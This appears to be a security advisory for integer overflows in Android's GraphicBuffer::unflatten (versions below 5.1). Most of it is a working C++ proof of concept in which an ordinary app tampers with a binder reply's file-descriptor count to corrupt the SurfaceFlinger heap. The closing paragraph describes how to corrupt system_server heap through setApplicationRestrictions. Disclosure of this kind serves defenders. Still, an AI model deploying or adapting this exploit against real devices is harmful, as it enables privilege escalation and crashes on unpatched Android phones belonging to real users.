Introduction
------------
Multiple integer overflows in the GraphicBuffer::unflatten function in
platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0
allow attackers to gain privileges or cause a denial of service (memory
corruption) via vectors that trigger a large number of (1) file descriptors
or (2) integer values.
Affected Android version
----------
all versions below Lollipop 5.1
Patches
-------
Android Bug id 18076253

Attack vector
-------------
A normal Apps can corrupt the heap in surfaceflinger and system_server by
this vulnerabilities.
the PoC of corrupting the heap of surfaceflinger is as follows
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <utils/Log.h>
#include <binder/IPCThreadState.h>
#include <binder/ProcessState.h>
#include <binder/IServiceManager.h>
#include <gui/ISurfaceComposer.h>
#include <gui/BufferQueue.h>
#include <gui/CpuConsumer.h>
#include <unistd.h>
using namespace android;
class MyBufferQueue:public BufferQueue{
   public:
       status_t onTransact(uint32_t code, const Parcel& data, Parcel*
reply, uint32_t flags){
           status_t ret =
BnGraphicBufferProducer::onTransact(code,data,reply,flags);
           if(code==1){
               int *data = (int *)reply->data();
               int *numFDs = data+9;
               *numFDs=0xfffffffd;
           }
           return ret;
       }
};
int main()
{
   sp<ProcessState> proc(ProcessState::self());
   proc->startThreadPool();
   const String16 name("SurfaceFlinger");
   sp<ISurfaceComposer> composer;
   getService(name, &composer);
   uint32_t w, h;
   PixelFormat f;
   sp<IBinder>
display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));
   sp<MyBufferQueue> bufferQueue = new MyBufferQueue();
   sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1);
   status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL);
   if (err != NO_ERROR) {
       fprintf(stderr, "screen capture failed: %s\n", strerror(-err));
       exit(0);
   }
   printf("screen capture success\n");
   IPCThreadState::self()->joinThreadPool();
   return 0;
}
How to corrupt the heap of system_server
put a malformated GraphicBuffer in a Bundle, and then send it to
system_server via setApplicationRestrictions. it’s the same way as
CVE-2014-7911.
